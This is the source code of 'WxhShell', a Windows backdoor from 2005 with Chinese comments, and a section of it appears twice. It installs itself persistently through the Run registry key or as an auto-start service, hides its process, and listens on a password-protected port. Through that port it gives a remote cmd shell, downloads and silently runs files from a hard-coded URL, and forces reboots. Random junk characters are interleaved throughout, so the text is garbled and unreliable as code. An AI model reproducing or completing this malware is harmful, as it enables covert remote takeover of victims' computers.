(ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); >JwLk[=j g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^L4Qbc(vJ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); a,t``'c; bvBHYf:^ if (!NtQueryInformationProcess) return 0; wN-i?Ek0; nz.{P@[Qk hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^D^JzEy'?C if(!hProcess) return 0; $
<8~k^ OFkNl}D if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YcX/{L[9o Ter:sge7 CloseHandle(hProcess); zvc`3 zSvgKmNY hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =:,xxqy if(hProcess==NULL) return 0; e-hjC6Q U a&{X!:X HMODULE hMod; q=Zr>I;(Ks char procName[255]; mog[pu:!, unsigned long cbNeeded; HmmS(fU ]q5`YB%_ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `Hx~UH) MTGiAFE CloseHandle(hProcess); "L&'Fd@ZU 4674SzL if(strstr(procName,"services")) return 1; // 以服务启动 )jrT6x^IB t+r:"bb return 0; // 注册表启动 V
D?*h } Uh1NO&i.W HL3XyP7 // 主模块 /e}#'
H
int StartWxhshell(LPSTR lpCmdLine) .9[45][FK { [k$*4u> SOCKET wsl; W/ay.I BOOL val=TRUE; kUx&pYv int port=0; 3-Dt[0%{ struct sockaddr_in door; w2O!M!1 ?jQ](i& if(wscfg.ws_autoins) Install(); V! |qYM. >kZ57, port=atoi(lpCmdLine); qB]i6* ^E`(*J/o if(port<=0) port=wscfg.ws_port; fQK"h
-~" :f8 WSADATA data; nR>r2wMk@ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j VgFZ, X6+qpp if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 1' v5/ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); = VLS/\A door.sin_family = AF_INET; ^vs=f95 door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^-CINt{O door.sin_port = htons(port); HBE.F&C88 GV6K/T: if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q_W0/Ki8 closesocket(wsl); mV^Zy return 1; lOwS&4UT } Il@Y|hK JPM))4YDR if(listen(wsl,2) == INVALID_SOCKET) { ZI;<7tF_z closesocket(wsl); hd V1nS$ return 1; tGdf/aTjy } %Pqk63QF Wxhshell(wsl); j;_c+w!P WSACleanup(); $eV$2p3H :4S%'d7 return 0; ZR v"h/~ RC|!+TD } /"H`.LD.? w=h1pwY // 以NT服务方式启动 e6B{QP#jq VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )
8@{OR"Ec { kPBV6+d~ DWORD status = 0; 3cS2gxF DWORD specificError = 0xfffffff; {j {+0V )? M9|u serviceStatus.dwServiceType = SERVICE_WIN32; |sZ! serviceStatus.dwCurrentState = SERVICE_START_PENDING; $N']TN serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,h\s F#| serviceStatus.dwWin32ExitCode = 0; O|A_PyW serviceStatus.dwServiceSpecificExitCode = 0; +`M!D }! serviceStatus.dwCheckPoint = 0;
d8SE,A& serviceStatus.dwWaitHint = 0; !J*,)kRN 49Df?sx hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;VO.!5W@eg if (hServiceStatusHandle==0) return; qQi.?<d2"s X1[CX&Am status = GetLastError(); I]Tsz'T!9 if (status!=NO_ERROR) N!Qg; ( { _mS!XF~`P serviceStatus.dwCurrentState = SERVICE_STOPPED; b5IA"w serviceStatus.dwCheckPoint = 0; =&0wr6 serviceStatus.dwWaitHint = 0; Bx"7%[ serviceStatus.dwWin32ExitCode = status; Glq85S serviceStatus.dwServiceSpecificExitCode = specificError; ]nQt>R p_ SetServiceStatus(hServiceStatusHandle, &serviceStatus); r!P}u return; yq_LW>|Z } p2J|Hl| UY2X serviceStatus.dwCurrentState = SERVICE_RUNNING; 6+V\t+aug serviceStatus.dwCheckPoint = 0; N$Y " c* serviceStatus.dwWaitHint = 0; P+t#4J if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -S,ln } [>#*B9 <X TU8G // 处理NT服务事件,比如:启动、停止 %;D+k VOID WINAPI NTServiceHandler(DWORD fdwControl) k *R<, { $qF0ltUQ switch(fdwControl) t:JI!DR { {ng"=3+n case SERVICE_CONTROL_STOP: Iu~\L0R427 serviceStatus.dwWin32ExitCode = 0; -IlJ^Al4 serviceStatus.dwCurrentState = SERVICE_STOPPED; ;TcvA serviceStatus.dwCheckPoint = 0; /sR%]q
|L serviceStatus.dwWaitHint = 0; v{i7h|e { =.|J!x SetServiceStatus(hServiceStatusHandle, &serviceStatus); OI}
&m^IOo } r[.>P$U
return; obK*rdg, case SERVICE_CONTROL_PAUSE: 9p 4"r^ serviceStatus.dwCurrentState = SERVICE_PAUSED; }
B396X break; '^%~JyU case SERVICE_CONTROL_CONTINUE: SxyONp.$\ serviceStatus.dwCurrentState = SERVICE_RUNNING; w|mb4AyL{? break; KtS)'jf case SERVICE_CONTROL_INTERROGATE: :RSz4 break; EA.D}X C }; AeIrr*~]B SetServiceStatus(hServiceStatusHandle, &serviceStatus); o }Tz"bN } +,:^5{9{ IdIrI // 标准应用程序主函数 #jpoHvth int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3:"]Rn([P { c/L>>t Mh(]3\ // 获取操作系统版本 H?}[r)|(3i OsIsNt=GetOsVer(); ~,D@8tv GetModuleFileName(NULL,ExeFile,MAX_PATH); p3ISWJa! `"i Y* // 从命令行安装 o01kYBD if(strpbrk(lpCmdLine,"iI")) Install(); >$gG/WD?KR ej&<GM| // 下载执行文件 sDgXU@ if(wscfg.ws_downexe) { WqxUX H if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) *BD=O@ WinExec(wscfg.ws_filenam,SW_HIDE); 1\RGM<q$f } *5sBhx JO&JP3N1 if(!OsIsNt) { UE _fpq // 如果时win9x,隐藏进程并且设置为注册表启动 _u"nvgVz9 HideProc(); zeP}tzQO StartWxhshell(lpCmdLine); 9[v1h,L } ~mV"i7VX else +u@aJ_^ if(StartFromService()) X.ONa_ // 以服务方式启动 2c<&eX8" StartServiceCtrlDispatcher(DispatchTable); $=sXAK9 else IUGz =%[ // 普通方式启动 A>VI{ StartWxhshell(lpCmdLine); ?6Cz[5\ rdJm{< return 0; |5I'CNi\ } xy+QbDT "O+5R(XT nmlPX7!{$ E{=2\Wkcp =========================================== _2fkb=2@ 0,*%vG?Q qP!eJ6[Nh" P ]N
[y Jxf~&!zR z^o 1GY " 3>zN/f Fhq9D{TeY, #include <stdio.h> I4rPHZ| #include <string.h> 8pM>Co! #include <windows.h> O^LTD#}$a) #include <winsock2.h> u{&B^s)k. #include <winsvc.h> !DjvsG1x #include <urlmon.h> Uu6L~iB ^\ ?O4,L #pragma comment (lib, "Ws2_32.lib") 1{pmKPu #pragma comment (lib, "urlmon.lib") M_B:{%4 z2ms^Y=j #define MAX_USER 100 // 最大客户端连接数 Ap&)6g #define BUF_SOCK 200 // sock buffer J MX6yV #define KEY_BUFF 255 // 输入 buffer |1Dc!V'?" HDM<w+ZxX #define REBOOT 0 // 重启 L~{_!Q #define SHUTDOWN 1 // 关机 LiDvaF:@L! dGZntT2D #define DEF_PORT 5000 // 监听端口 RhF>T&Q -O:_!\uA
#define REG_LEN 16 // 注册表键长度 hlvt$Jwq #define SVC_LEN 80 // NT服务名长度 >,C4rC+:XN MB);!qy // 从dll定义API Q_*_?yf typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); wYeB)1. typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h*0S$p<[1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .=9s1~] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y$Zj?Dd# >1L=,M // wxhshell配置信息 t^=U*~ struct WSCFG { mIZwAKo int ws_port; // 监听端口 P`$12<\O1 char ws_passstr[REG_LEN]; // 口令 @
\.;b9 int ws_autoins; // 安装标记, 1=yes 0=no "SWMk! char ws_regname[REG_LEN]; // 注册表键名 !2Dy_U= char ws_svcname[REG_LEN]; // 服务名 |ifHSc.j< char ws_svcdisp[SVC_LEN]; // 服务显示名 C>^D*C( char ws_svcdesc[SVC_LEN]; // 服务描述信息 9z
m|Lbj char ws_passmsg[SVC_LEN]; // 密码输入提示信息 (%ew604X int ws_downexe; // 下载执行标记, 1=yes 0=no X{Yw+F,j char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NX* O_/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ir>]r<Zl 5FvOznK^e }; FHy76^h>e pvWau1ArNq // default Wxhshell configuration 1F[L"W;r struct WSCFG wscfg={DEF_PORT, [y)FcIK} "xuhuanlingzhe", !}TMiCK 1, =1/NFlt8 "Wxhshell", g]mtFrP "Wxhshell", 6,Hqb<( "WxhShell Service", cl[!`Z "Wrsky Windows CmdShell Service", \v@({nB8 "Please Input Your Password: ", KcGsMPJ 1, O[~x_xeW "http://www.wrsky.com/wxhshell.exe", W@L3+4 "Wxhshell.exe" [um&X=1V8 }; }m]q}r 33l>{(y // 消息定义模块 Q.-*7h8 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; H(+<)qH char *msg_ws_prompt="\n\r? for help\n\r#>"; l'4AF|
p char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; D _X8- char *msg_ws_ext="\n\rExit."; &!.HuRiuC char *msg_ws_end="\n\rQuit."; iMP char *msg_ws_boot="\n\rReboot..."; -=$2p0"R char *msg_ws_poff="\n\rShutdown..."; ?4t-caK^u char *msg_ws_down="\n\rSave to "; 1V&PtI3!! Z%o7f6P0IX char *msg_ws_err="\n\rErr!"; PY\PUMF> char *msg_ws_ok="\n\rOK!"; BWPP5X9 Lf}8qB#Y char ExeFile[MAX_PATH]; ?dy~mob int nUser = 0; uPyVF-i HANDLE handles[MAX_USER]; 'E;W int OsIsNt; j28 _HhT N?r>%4 SERVICE_STATUS serviceStatus; my^ak*N SERVICE_STATUS_HANDLE hServiceStatusHandle; f*((;*n; hAR?
t5c // 函数声明 8 ,}ikOZ? int Install(void); 0O@_cW int Uninstall(void); y+mElG$F int DownloadFile(char *sURL, SOCKET wsh); To"dG&h int Boot(int flag); D=?{8 'R' void HideProc(void); oT+(W,G int GetOsVer(void); }F1s
tDx int Wxhshell(SOCKET wsl); PB'0?b}fab void TalkWithClient(void *cs); J07O:cjyu int CmdShell(SOCKET sock); mL L$| int StartFromService(void); %5 </d5. int StartWxhshell(LPSTR lpCmdLine); R|,7d:k x2wg^$F*oO VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); X33v:9= VOID WINAPI NTServiceHandler( DWORD fdwControl ); N{akg90 HQVh+ ( // 数据结构和表定义 7Ur?ep SERVICE_TABLE_ENTRY DispatchTable[] = iv%w!3# { ,\ldz(D?+ {wscfg.ws_svcname, NTServiceMain}, CDg AGy {NULL, NULL} 60B-ay0e$b }; rnhFqNT: Bt~s*{3$8 // 自我安装 ``4wX-y int Install(void) _g|acBF { J%v5d*$. char svExeFile[MAX_PATH]; /lD?VE HKEY key; )*1.eObhL strcpy(svExeFile,ExeFile); ksI>IW #!#z5DJu // 如果是win9x系统,修改注册表设为自启动 |"k&fkS$ if(!OsIsNt) { `7Ug/R< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 90:K#nW; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tm)*2lH6 RegCloseKey(key); ~t/JCxa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Hhv$4;&X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); q^Tis>*u6 RegCloseKey(key); -WR}m6yMr return 0; Lyoor1 } QXQ } Bku'H } hw,^G5m else { >]$aoA# (Pi-uL<[a // 如果是NT以上系统,安装为系统服务 *3Nn +T
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); E&2tBrAq if (schSCManager!=0) Q_P5MLU> { L7q | ^` SC_HANDLE schService = CreateService }5gr5g\OtP ( _vrWj<wyf schSCManager, T0|H9>M wscfg.ws_svcname, RsSXhPk? wscfg.ws_svcdisp, W"sr$K2m| SERVICE_ALL_ACCESS, I6dm@{/:> SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , D s-` SERVICE_AUTO_START, s44iEh=V(I SERVICE_ERROR_NORMAL, ,b'4CF svExeFile, aWvd`qA9r NULL, moO_-@i NULL, kL7^$ NULL, ?SX_gYe9 NULL, 1r4,XSk NULL 981!2* ); ~mH+DV3
if (schService!=0) Jp]T9W\ { 1D1b"o CloseServiceHandle(schService); N/{?7sG& CloseServiceHandle(schSCManager); -<oZ)OfU strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7:o+iP4 6 strcat(svExeFile,wscfg.ws_svcname); _Y-$}KwY! if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { rx:lKoOnB RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -9G]x{> RegCloseKey(key); &5q{viI return 0; p.Y$A
if. } YvTA+yL } -CU,z|g+ CloseServiceHandle(schSCManager); gMZ&,n4 } u%opY<h } <o@ )SD~K 2V$9ei6 return 1; F0;1zw } &%e"9v2` )BLmoJOf // 自我卸载 U42\.V0 int Uninstall(void) 1g i}H) { q<XcOc5 HKEY key; 7Po/_% s/S+ ec3 if(!OsIsNt) { L?f qcW{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1URsHV!xcM RegDeleteValue(key,wscfg.ws_regname); bOXh|u_3i RegCloseKey(key); ZjD2u8e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @3 "DBJ RegDeleteValue(key,wscfg.ws_regname); cEi<}9r RegCloseKey(key); a;p6?kv return 0; Ihef$, } LXxl ?D } lIl9ypikg } 7.|S>+Q else { `Kp}s< s5.k|!K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Wf1-"Q if (schSCManager!=0) -s~p}CQ. { <4NQL*|> SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R6Pz#`n if (schService!=0) bX{PSjD { g
=\13#F if(DeleteService(schService)!=0) { J~2CD*v CloseServiceHandle(schService); m){&:Hs CloseServiceHandle(schSCManager); }rxFS
<j return 0; ^K>pT}u } Na;t#, CloseServiceHandle(schService); N[{]iQ } D[W}[r CloseServiceHandle(schSCManager); 2$Y3[$ } %0(>!SY } 6cZ C HjPH return 1; L4mTs-M. } hGKdGu`0 +}]wLM}\UF // 从指定url下载文件 @}{VM)Fc+ int DownloadFile(char *sURL, SOCKET wsh) I)uASfT$ { Y;PDZbK3 HRESULT hr; 5oa]dco char seps[]= "/"; Sl~C0eO char *token; k`Y,KuBpM char *file; k7[)g]u char myURL[MAX_PATH]; <on)"{W13 char myFILE[MAX_PATH]; :O#gJob-%s OAyE/Q| strcpy(myURL,sURL); ?(M\:`G' token=strtok(myURL,seps); [M2Dy{dh while(token!=NULL) Ua!Odju*w { F13%)G( file=token; U#l.E1Z token=strtok(NULL,seps); N>T=L0` } 6!o/~I# h@/>?Va GetCurrentDirectory(MAX_PATH,myFILE); LQ|<3] strcat(myFILE, "\\"); Ae3#>[]{ strcat(myFILE, file); Jz2q\42q send(wsh,myFILE,strlen(myFILE),0); k dUc& send(wsh,"...",3,0); |W/Hi^YE2 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )%1&/uN) if(hr==S_OK)
pe|\'<>i return 0;
.;}pU!S~R else t"FRLC return 1; 3pzOt&T|w F.&*D~f } ^&e;8d|f{ 2}1!WIin // 系统电源模块 T&e%/ int Boot(int flag) DwQp$l'NfW { HJ(=?TU HANDLE hToken; 1W4H-/Re TOKEN_PRIVILEGES tkp; %0go%_ fG^7@Jw:G if(OsIsNt) { ~MD><w> OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); lp3(&p<: LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @)8NI[=6O tkp.PrivilegeCount = 1; ROcY'- tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VdYOm AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :K5V/-[|V1 if(flag==REBOOT) { f2 VpeJ<p if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) FxMMxY,*% return 0; S:DcfR=a } + 4++Z else { d
u_O} x if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 7Co3P@@ return 0; 6YB-}>? } ~6=Wq64 } %,h!: Ec^c else { ~p0e=u if(flag==REBOOT) { E%KC'TN^D if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1"N/ZKF-x return 0; oTZo[T@zRx } hlt9x.e.A else { lb=2*dFJ1 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h6K!|-Gq. return 0; 6B4hSqjh } <;.}WQC } *
N2#{eF&] * ,|)~$=> return 1; QLxXp } N2 M?5fF s2kGU^]y // win9x进程隐藏模块 #p;4:IT void HideProc(void) V/+H_=| { Tm'l N5}&9 1KNkl,E HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); |Sy}d[VKsZ if ( hKernel != NULL ) +<vqkc { )@?Qt2 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bUpmU/RW ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f4qS OVv
FreeLibrary(hKernel); w`w `q' } \f~u85 ?^F*"+qI return; =Td#2V;0 } #h}IUR OpbszSl"y // 获取操作系统版本 Jc9@VxWY int GetOsVer(void) pO@k@JZ { +^o3}` OSVERSIONINFO winfo; ]a&x' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G*kXWEx
GetVersionEx(&winfo); je$R\7B< if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H"kc^G+(R" return 1; O#<|[Dzw else _oYA;O return 0; +Px<DX+ } LL6ON
} hvwnG>m\ // 客户端句柄模块 @8}-0c int Wxhshell(SOCKET wsl) yAZ.L/jyr { =2GP^vh SOCKET wsh; x(T!I&i={ struct sockaddr_in client; BHiw!S< DWORD myID; S0X.8Bq ^$T!@+: while(nUser<MAX_USER) 3:z4M9f { U[H+87zg int nSize=sizeof(client); !rN#PF> wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FN8=YUYK% if(wsh==INVALID_SOCKET) return 1; o>QFdx DT1i2! handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Gff[c%I if(handles[nUser]==0) hA&j?{ closesocket(wsh); UGezo3} else H_xQ>~b nUser++; ~Iu21Q(* } /I`!iK WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); -hJ>wGI ;Fwm1ezx0 return 0; nATfmUN
L } \I`=JKYT 6>P // 关闭 socket xhp-4 void CloseIt(SOCKET wsh) 6O[wVaC1u { A(_^_p.| closesocket(wsh); a v|6r# nUser--; , L AJ ExitThread(0); E?;T:7.% } d~xU?)n) $
M[}(m // 客户端请求句柄 cxF?&0[mY void TalkWithClient(void *cs) %RK\Hz2q3 { u3v6$CD? ^7^bA SOCKET wsh=(SOCKET)cs; AD4L`0D char pwd[SVC_LEN]; h(N9RJ} char cmd[KEY_BUFF]; c<t3y7 char chr[1]; {"@b` int i,j; spoWdRM2 M
b /X@51 while (nUser < MAX_USER) { Kr}M>hF+| :\w[xqH if(wscfg.ws_passstr) { fG[3%e if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); TF iM[ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {dr&46$p //ZeroMemory(pwd,KEY_BUFF); <:yq~? i=0; p9] 7g% while(i<SVC_LEN) { 9'*ZEl^?D l!2Z`D_MD // 设置超时 l1|,Lr fd_set FdRead; y:6'&`L struct timeval TimeOut; W$VCST FD_ZERO(&FdRead); \eSk7C FD_SET(wsh,&FdRead); BQJ`vIa TimeOut.tv_sec=8; 3K20f8g TimeOut.tv_usec=0; _2Xu1q.6~5 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cPBy(5^ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LkZo/K~ V1fvQ=9 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'V9aB5O&
pwd=chr[0]; x_iy;\s1 if(chr[0]==0xd || chr[0]==0xa) { xS\QKnG. pwd=0; "drh+oo. break; 9xS`@ "` } z hm!sMlO i++; zam0(^= } G mUs U{ ]Q_G /e // 如果是非法用户,关闭 socket ]!J3?G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0N[DV] } l:Xf(TLa uV$d7(N}" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); IEr`6|X send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y<x_v )k- _wJ#jJz2 while(1) { h/bYtE Cy> +j{%! ZeroMemory(cmd,KEY_BUFF); >,]e[/p
M=abJ4 // 自动支持客户端 telnet标准 \V-
Y,!~5 j=0; MdboWE5i while(j<KEY_BUFF) { #V,~d&_k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Olh%"=*; cmd[j]=chr[0]; w58 QX/XG if(chr[0]==0xa || chr[0]==0xd) { ]fS~N9B cmd[j]=0; H_f2:Za break; WHavz0knf[ } O|TwG:! j++; @`*YZq>p } 7MJ)p$& Q
pc^qP^- // 下载文件 kc']g:*]Y if(strstr(cmd,"http://")) { M~Dc5\T send(wsh,msg_ws_down,strlen(msg_ws_down),0); kJpHhAn4 if(DownloadFile(cmd,wsh)) 1xV1#'@[Jd send(wsh,msg_ws_err,strlen(msg_ws_err),0); <=2*UD | else c Yn}we}7 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kf<_A{s } R*G>)YH else { J` --O(8Ml 'eY[?LJ]U switch(cmd[0]) { X1qj
l_A ?G<IN) // 帮助 J|8YB3K, case '?': { gCI'YEx send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +Z(VWu6 break; M
+q7h+HP } V)jhyCL // 安装 rX}==`#\ case 'i': { ]-LE'Px| if(Install()) ~'\u:Imuo send(wsh,msg_ws_err,strlen(msg_ws_err),0); b>._ r&. else JY8pV+q @= send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x)mC^ break; /`@>v$oo } <bppu>& // 卸载 h;[Ncj] case 'r': { t ?'/KL if(Uninstall()) O~]G(TMs8W send(wsh,msg_ws_err,strlen(msg_ws_err),0); y~1php>2f1 else hrt-<7U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nE%qm - break; }}R!Y) } rWmi 'niu // 显示 wxhshell 所在路径 5LH ]B case 'p': { Vp4] char svExeFile[MAX_PATH]; lI<8)42yq strcpy(svExeFile,"\n\r"); $>m<+nai' strcat(svExeFile,ExeFile); "!?Ya{ send(wsh,svExeFile,strlen(svExeFile),0); IvH+94[)
break; SJ@_eir\o } +=$G6uR$ // 重启 IDZn,^ case 'b': { QV1%Zou send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); X[6z if(Boot(REBOOT)) ?!Gt.
fb send(wsh,msg_ws_err,strlen(msg_ws_err),0); U++UG5 c else { a@1gMZc* closesocket(wsh); \ziF(xTvqG ExitThread(0); =p$ Wo } CB)#;
|aDB break; 4ebGAg ?_ } (#k#0T kE // 关机 sBL^NDqa2 case 'd': { hiuPvi} send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +M:Q!' if(Boot(SHUTDOWN)) |JQ05nb send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9hU@VPB~ else { mQJ GKh&Pk closesocket(wsh); 5H2|:GzUc ExitThread(0); \3/'#
} ^;bkU|(`6 break;
VVY\W! } 0}N^l=jQ // 获取shell ln7.>.F case 's': { cPSu!u}D CmdShell(wsh); hRu%> =7 closesocket(wsh); +0DIN4Y(4 ExitThread(0); GS%Dn^l break; HL]?CWtGP } fCR;Fk2B // 退出 )9O{4PbU! case 'x': { l?~h_8&fT send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); G$b4`wt CloseIt(wsh); 3-D!Z S& break; N8TO"`wdbs } p"Y= // 离开 }{"\"Bn_ case 'q': { 'I2)-=ZL6 send(wsh,msg_ws_end,strlen(msg_ws_end),0); I
uDk9<[b: closesocket(wsh); [(mq8Nb WSACleanup(); gMbvHlT exit(1); 4w,}1uNEf break; RWE%?` } FW4 hqgE@ } 2StpcAlU} } B$G8,3 ,: EMo6$( // 提示信息 -h}J%UV if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); E:ytdaiT } tj0vB]c } S^u!/ =& V-31x ) return; ,\M'jV"SK } gM8 eO-d VF-d^AGt // shell模块句柄 \r2w@F{C int CmdShell(SOCKET sock) fITml6mbE { }y1M0^M-$ STARTUPINFO si; C"}x=cK ZeroMemory(&si,sizeof(si)); vlD]!]V:h si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8Xr3q eh+ si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ,-Na'n PROCESS_INFORMATION ProcessInfo; #%5>}$ char cmdline[]="cmd"; 3Rm$ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xfzR>NU return 0; _C4^J } La!PGZ{ bMZ0%(q // 自身启动模式 5FMKJ7sC9 int StartFromService(void) d09GD[5 { 1li`+~L
F typedef struct .q=X58tHu { }yw\+fc DWORD ExitStatus; @ZVc!5J_, DWORD PebBaseAddress; kB
2bT} DWORD AffinityMask; H|^4e DWORD BasePriority; ;(sb^O ULONG UniqueProcessId; #yqcUbJY0R ULONG InheritedFromUniqueProcessId; ; ^$RG } PROCESS_BASIC_INFORMATION; YP7<j*s8 yP-Dj
, PROCNTQSIP NtQueryInformationProcess; 4eKJ\Q=nX5 9.R_= static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; = FE,G* static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IoX(Pa ql4T@r3l}3 HANDLE hProcess; 5u&jNU5m_ PROCESS_BASIC_INFORMATION pbi; ^\!^#rO b&ADj8cKC HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); * n[6H if(NULL == hInst ) return 0; +X< Z
43 3lJK[V{'#' g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2|cIu ' U g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >8VJ!Kg4 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]
=D+a& LKm5U6 if (!NtQueryInformationProcess) return 0; e0qa~5 YP6+o#== hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); V6!oe^a7' if(!hProcess) return 0; U!Lws#\X >!$4nxq2> if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; qj|GAGrQ2 aCMcu\rd CloseHandle(hProcess); b"gYNGgX *f[`Yv hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JmBYD[h, if(hProcess==NULL) return 0; J:>TV.TP G0^PnE0- HMODULE hMod; ?gkK*\x2 char procName[255]; rUyT5Vf unsigned long cbNeeded; X0lIeGwrQ w "D"9G if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C>;}CH|X 2q#$?qs_b CloseHandle(hProcess); 